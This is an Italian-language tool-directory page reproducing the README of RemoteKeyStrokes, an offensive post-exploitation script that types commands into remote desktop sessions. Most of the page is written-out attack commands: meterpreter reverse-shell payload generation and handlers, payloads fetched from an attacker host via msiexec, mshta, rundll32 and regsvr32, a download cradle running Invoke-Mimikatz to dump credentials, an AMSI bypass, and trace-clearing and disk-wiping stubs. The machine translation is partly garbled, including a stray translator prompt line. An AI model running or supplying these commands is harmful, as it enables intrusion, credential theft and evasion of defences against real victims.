Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
RemoteKeyStrokes — Uno script per automatizzare le sequenze di tasti tramite un programma desktop grafico. | Kitploit
Strumenti/GitHubGitHub/u53rw4r3/remotekeystrokes
Escalation di PrivilegiGenerazione di PayloadMeccanismi di PersistenzaMovimento LateralePost-ExploitPenetration TestingCommand and ControlRed Teaming
GitHubu53rw4r3/remotekeystrokes

RemoteKeyStrokes

Uno script per automatizzare le sequenze di tasti tramite un programma desktop grafico.

Vedi Repository
3541 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

RemoteKeyStrokes

Uno script per automatizzare le sequenze di tasti attraverso una sessione desktop remota attiva che assiste gli operatori offensivi in combinazione con tecniche di living off the land. Tutti i crediti vanno a nopernik per averlo reso possibile, così mi sono preso la responsabilità di migliorarlo. Volevo qualcosa che aiutasse durante la fase di post-sfruttamento quando si eseguono comandi tramite un desktop remoto. È stato anche possibile realizzare il progetto SCPA per raccogliere risorse in modo organizzato.

Caratteristiche

  • Esecuzione di comandi
  • Trasferimento di file
  • Escalation dei privilegi (Prossimamente)
  • Persistenza (Prossimamente)
  • Anti-forense (Prossimamente)
  • Caos (Prossimamente)

Installazione

Dipendenze

Installa le restanti dipendenze secondo il tuo package mananger.``` $ sudo apt install -y xfreerdp-x11 remmina xdotool

$ sudo dnf install -y xdotool freerdp-2 remmina

$ sudo pacman -S freerdp remmina xdotool

$ sudo emerge xwayland freerdp remmina xdotool

$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina

root@kitploit:~
### Configurazione

Installare il programma nel sistema e creare `rks` come collegamento simbolico di `remotekeystrokes`. Verrà utilizzato come alias di comando.```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks

Menu di aiuto```

$ remotekeystrokes -h Usage: remotekeystrokes

Flags:

COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute

root@kitploit:~
-p, --platform <operating_system>   Specify the operating system ("windows" is
                                    set by default if not specified)

-w, --windowname <window_name>      Specify the window name to focus on the
                                    active window ("freerdp" is set by default
                                    if not specified)

-h, --help                          Display this help message

UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer

METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"

root@kitploit:~
-s, --submethod <submethod>         Specify a submethod from a method (applies
                                    with -m flag)

-a, --action <action>               Specify an action from a method and/or
                                    submethod (applies with -m and/or -s flag)

-e, --evasion <evasion>             Specify an evasion method for uploading files
                                    (only works for "pwshb64")
root@kitploit:~
## Utilizzo

### 0x00 - Autenticazione Remota

#### Leggende

- Il simbolo del dollaro (`$`) indica un prompt di shell unix con privilegi di utente normale e include comandi.

- Le parentesi angolari (`<>`) indicano parametri obbligatori.

- Le parentesi quadre (`[]`) indicano parametri opzionali se non è necessario specificarli.

#### RDP

Per autenticare sistemi operativi moderni, specificare il flag per forzare l'autenticazione come TLS `/sec:tls` oppure come NLA `/sec:nla`.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]

Per autenticare sistemi operativi legacy, specifica il flag /sec:rdp per forzare la vecchia autenticazione.``` $ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]

root@kitploit:~
#### VNC

Per autenticare da remoto una macchina VNC.```
$ remmina -c vnc://<username>:<password>@<IP>

SSH```

$ ssh [-p ] @

root@kitploit:~
#### Telnet```
$ telnet <IP> [PORT]

Quando si utilizza RemoteKeyStrokes

Per utilizzare remotekeystrokes (o un alias del comando rks) durante l'esecuzione di comandi sul target Windows con sessione remota autenticata. Prima di eseguirli, è necessario navigare con un nome di finestra (-w); per impostazione predefinita cercherà FreeRDP quando si utilizza xfreerdp. Quando si hanno come target sistemi con un diverso programma di accesso remoto, assicurarsi di specificare il nome della finestra. Specificare il flag -c per impartire comandi. È anche possibile preparare un file di testo per inserire comandi e li leggerà uno per uno. Il flag verificherà se si tratta di una stringa o di un file.

Per programmi desktop remoti grafici come FreeRDP, Remmina e altri programmi di terze parti. A differenza di sessioni di terminale remoto come telnet e ssh, è necessario posizionare il cursore su un'applicazione attiva all'interno della macchina target. Ad esempio, in ambiente Windows è necessario aprire un prompt dei comandi (cmd.exe) o PowerShell (powershell.exe). È possibile che Windows apra programmi con una finestra di dialogo (-m dialogbox) per un avvio rapido. Assicurarsi di eliminare le tracce dalla voce del Registro di sistema quando si è eseguito inizialmente con questo metodo. Si trova in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Vedrete esempi di come potrete eseguire misure offensive rapide utilizzando solo tecniche Living off the Land (LotL).

0x01 - Ricognizione Interna

Prompt dei Comandi

Enumerazione della macchina locale.``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo

$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!

$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!

root@kitploit:~
Per eseguire in un unico comando. Questo è conciso specialmente quando si utilizza con una finestra di dialogo.```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!

Enumerazione di Active Directory.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain

$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!

$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!

root@kitploit:~
Per eseguire in un singolo comando. Questo è conciso, specialmente se usato con una finestra di dialogo.```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!

Powershell

Enumerazione della macchina locale (TODO)``` $ cat recon_local_enum_cmdlets.txt

$ rks -c "powershell.exe" -m dialogbox

$ rks -c recon_local_enum_cmdlets.txt

root@kitploit:~
Enumerazione di Active directory (TODO)```
$ cat recon_ad_enum_cmdlets.txt

$ rks -c "powershell.exe" -m dialogbox

$ rks -c recon_ad_enum_cmdlets.txt

0x02 - Eseguire il Payload

Windows

Eseguire il payload mentre si legge il contenuto di powershell.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1

$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"

$ rks -c "powershell.exe" -m dialogbox

$ rks -c payload.ps1

root@kitploit:~
Esegui un payload PowerShell oneliner utilizzando il modulo exploit `exploit/multi/script/web_delivery` di `metasploit-framework`.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "cmd.exe" -m dialogbox

$ rks -c "powershell.exe -nop -w hidden -e <base64_payload>"

Esegui il payload con msiexec.exe mentre ospiti un server web.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f msi -o payload.msi

$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"

$ sudo python -m http.server 80

$ rks -c "msiexec /quiet /qn /i http://<attacker_IP>/payload.msi" -m dialogbox

root@kitploit:~
Esegui il payload con `mshta.exe` usando il modulo exploit `metasploit-framework` `exploit/windows/misc/hta_server`.```
$ sudo msfconsole -qx "use exploit/windows/misc/hta_server; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvhost <server_IP>; set srvport <server_PORT> run"

$ rks -c "mshta.exe http://<attacker_IP>:<attacker_PORT>/payload.hta" -m dialogbox

Esegui il payload con rundll32.exe utilizzando il modulo exploit metasploit-framework exploit/windows/smb/smb_delivery.``` $ sudo msfconsole -qx "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set file_name payload.dll; set share staging; run"

$ rks -c "rundll32.exe \<attacker_IP>\staging\payload.dll,0" -m dialogbox

root@kitploit:~
Esegui il payload con `regsvr32.exe` usando `metasploit-framework` modulo exploit `exploit/multi/script/web_delivery`.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 3; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "regsvr32 /s /n /u /i://http://<attacker_IP>:<attacker_PORT>/payload.sct scrobj.dll" -m dialogbox

Multipiattaforma

Esegui e impianta con python usando il modulo exploit di metasploit-framework exploit/multi/script/web_delivery.``` $ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 0; set payload python/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "python -c """

root@kitploit:~
### 0x03 - Trasferimento file

Ci sono 11 metodi di trasferimento file in totale.

|     Metodo     |      Piattaforma     | Descrizione |
| -------------- | -------------------- | ----------- |
|   `pwshb64`    | Windows e Linux | Codifica il file in base64 e poi lo decodifica con powershell. |
|    `cmdb64`    |      Windows      | Usa `copy con` per scrivere il contenuto del file codificato in base64 e poi lo decodifica con `CertUtil.exe`. |
|    `nixb64`    |       Unix        | Decodifica il contenuto base64 in un file. |
|   `outfile`    | Windows e Linux | Usa il cmdlet `Out-File` per scrivere il file di testo. |
|  `outfileb64`  |      Windows      | Usa il cmdlet `Out-File` per scrivere il contenuto del file codificato in base64 e poi lo decodifica con `CertUtil.exe`. |
|   `copycon`    |      Windows      | Usa il comando `copy con` per scrivere il file di testo. |
|   `pwshhex`    | Windows e Linux | Codifica il file in esadecimale e poi lo decodifica con powershell. |
|    `cmdhex`    |      Windows      | Scrive un one-liner codificato in esadecimale in una variabile e poi lo decodifica con `CertUtil.exe`. |
|  `copyconhex`  |      Windows      | Usa `copy con` per scrivere il contenuto del file hexdump codificato e poi lo decodifica con `CertUtil.exe`. |
|   `nixhex`     |       Unix        | Scrive un one-liner codificato in esadecimale in una variabile e poi decodifica con `echo -e` per interpretare il carattere di sequenza `\x`. Questo è adatto quando si ha a che fare con dispositivi IoT, specialmente quando Telnet non ha la funzionalità per trasferire file. |
|  `outfilehex`  |      Windows      | Usa il cmdlet `Out-File` per scrivere il contenuto del file hexdump codificato e poi lo decodifica con `CertUtil.exe`. |

Carica un file da remoto quando si effettua pivoting in una rete isolata. Se si desidera specificare il percorso remoto su Windows, assicurati di includere le virgolette. Per impostazione predefinita utilizza Powershell base64 per trasferire i file se non diversamente specificato. Questo include anche dropper anche se la dimensione è grande. Tieni presente che ci vorrà del tempo per completare il trasferimento del file.```
$ rks -c "powershell.exe" -m dialogbox

$ rks -i Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m pwshb64
[*] Transferring file...
[+] File transferred!

Per trasferire i dropper puoi usare CertUtil.exe base64 specialmente se è grande.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=8443 -f exe -o payload.exe

root@kitploit:~
Per trasferire dropper con powershell tramite `CertUtil.exe` base64.```
$ rks -c "powershell.exe" -m dialogbox

$ rks -i payload.exe -o payload.exe -m outfileb64

È anche possibile per i sistemi operativi legacy trasferire file come, Windows XP che è privo di PowerShell eccetto che per il command prompt.``` $ rks -c "cmd.exe" -m dialogbox

$ rks -i payload.exe -o payload.exe -m cmdb64

root@kitploit:~
Attiva il tuo listener C2 ed esegui il payload.```
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp set lhost <IP>; set lport 8443; run"

$ rks -c ".\payload.exe"

Un altro modo per trasferire file, specialmente per sysadmin e strumenti offensivi. Prendiamo PsExec64.exe come esempio che ci richiede un movimento laterale. Ci vorrà molto tempo per caricarlo via testo senza interruzioni. Invece, il modo più veloce è montare il WebDAV che appartiene al sito web legittimo della suite di strumenti sysinternals (live.sysinternals.com). Invece di usare l'esplora file, che è molto più lento dell'esecuzione di comandi. Ecco i comandi per il prompt dei comandi.``` $ cat commands.txt net use z: \live.sysinternals.com\tools copy z:\PsExec64.exe . net use z: /delete

$ rks -c "cmd.exe" -m dialogbox

$ rks -c commands.txt

root@kitploit:~
Ecco un'altra variante per i cmdlet di powershell quando si trasferisce `PsExec64.exe` in Windows.```
$ cat cmdlets.txt
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\live.sysinternals.com\tools"
Copy-Item z:\PsExec64.exe .
Remove-PSDrive -Name Z

$ rks -c "powershell.exe" -m dialogbox

$ rks -c cmdlets.txt

Il modo migliore per recuperare malware fileless o strumenti offensivi tramite powershell è semplicemente ospitare/recuperare siti web legittimi come, https://github.com ed eseguirlo. Usiamo Invoke-Mimikatz per recuperare le credenziali scaricando ed eseguendo il cradle da nishang.``` $ cat hashdump.txt IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1') Invoke-Mimikatz -DumpCreds

$ rks -c "powershell.exe" -m dialogbox

$ rks -c hashdump.txt

root@kitploit:~
Se hai file grandi per cui è quasi impossibile attendere il completamento del trasferimento. `xfreerdp` permette di montare una directory locale con il flag `/drive:/path/to/directory/`. Quindi naviga nel file browser o nel prompt della shell verso `\\tsclient\<share_name>\` per visualizzare i contenuti.```
$ mkdir Tools

$ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe Tools/

$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | rdp | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>] /drive:Tools

$ rks -c "cmd.exe" -m dialogbox

$ rks -c "dir \\tsclient\<share_name>\"

0x04 - Escalation dei privilegi

Nota: WIP (Lavori in corso)``` $ rks -m elevate -s bypassuac -a info

$ rks -m elevate -s <sub_method>

root@kitploit:~
### 0x05 - Persistenza

Nota: WIP (Lavori in Corso)```
$ rks -m persistence -s createuser

$ rks -m persistence -s sethc

0x06 - Difesa Evasione

Nota: WIP (Work In Progress)

È possibile combinare AMSI Bypass con l'impianto powershell per aggirare Windows Security o qualsiasi soluzione di sicurezza integrata con lo scanner AMSI.``` $ cat amsi_bypass.ps1 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

$ cat amsi_bypass.ps1 implant.ps1 > payload.ps1

$ rks -c "powershell.exe" -m dialogbox

$ rks -c payload.ps1

root@kitploit:~
Please provide the Markdown content to translate.```
$ rks -m antiforensics -s wevutils

$ rks -m antiforensics -s winevent

$ rks -m antiforensics -s eventvwr

0x07 - Mayhem

Nota: WIP (Lavori in corso)``` $ rks -m mayhem -s diskpart -a info

$ rks -m mayhem -s diskpart -a cmd

$ rks -m mayhem -s diskpart -a pwsh

root@kitploit:~
### 0x08 - Specifica il nome della finestra.

Se stai prendendo di mira VNC, Telnet o altri protocolli di rete, puoi specificare il nome della finestra. Questo è utile se stai usando `remmina` o un'altra istanza del terminale con una finestra rinominata.```
$ rks -c implant.ps1 -w <window_name>

FAQ (Domande Frequenti)

Cosa mi ha spinto ad avviare questo progetto?

È dolorosamente lento quando digito manualmente con la mia tastiera o navigo e clicco con il mouse, specialmente al di fuori della rete locale. Voglio solo accelerare il processo, specialmente durante l'infiltrazione della rete.

È strettamente solo per desktop remoti grafici (es. RDP, VNC, ecc.)?

Non necessariamente. L'ho reso possibile per console remote come Telnet, poiché manca di una funzione per trasferire file.

Posso usare le tecniche per il mio progetto o altre tradecraft per il mio arsenale?

Le tecniche sono comuni e possono essere riutilizzate per BadUSB, sviluppo di malware o qualsiasi altro progetto correlato. È sotto la licenza copyleft GNU GPLv3 che ti permette, in quanto utente, di avere il diritto di vedere come funziona il programma, alterare il codice sorgente secondo le tue esigenze e ridistribuirlo ad altri utenti insieme al codice sorgente.

È disponibile per il server di visualizzazione wayland?

Al momento non ci sono strumenti wayland compatibili per trovare un'alternativa o un sostituto per xdotool. dotool è molto promettente, ma manca di una caratteristica specifica per focalizzare le finestre. kdotool è disponibile solo per ambienti desktop KDE. Potrei doverlo reinventare in Go (dato che dotool esiste) o in Python con la libreria pynput.

Risoluzione dei problemi

Lo strumento offensivo non funziona

Quando si esegue il programma per la prima volta, dovrebbe visualizzare alcuni messaggi autoesplicativi. Passa al server di visualizzazione x11. Fare riferimento alla FAQ per capire perché wayland non è supportato.``` $ rks -c "powershell.exe" -m searchbox [ERROR] Wayland isn't supported! [*] Terminating program...

root@kitploit:~
### Disinstalla Strumento Offensivo

Per disinstallarlo.```
$ sudo rm -f /usr/local/bin/remotekeystrokes /usr/local/bin/rks

TODO e Aiuto Ricercato

  • Implementare il metodo di crittografia AES256 tramite base64

  • Implementare i restanti metodi di upload: Base32, Base2, Base10, Base8

  • Implementare la funzione di escalation dei privilegi sia per Windows che per Linux

  • Implementare una funzione di persistenza sia per Windows che per Linux.

  • Implementare la funzione di antiforense sia per Windows che per Linux.

  • Implementare la funzione mayhem sia per Windows che per Linux.

Riferimenti

  • Video: Consegna del payload CMD backdoor sethc.exe (stile USB Rubber Ducky)

  • Script Originale

  • VirtualRubberDucky

  • sticky_keys_hunter

Crediti

  • nopernik

Dichiarazione di non responsabilità

È tua responsabilità, a prescindere dalla causa delle tue azioni, utente. Ricorda che da grandi poteri derivano grandi responsabilità.

Scarica lo strumento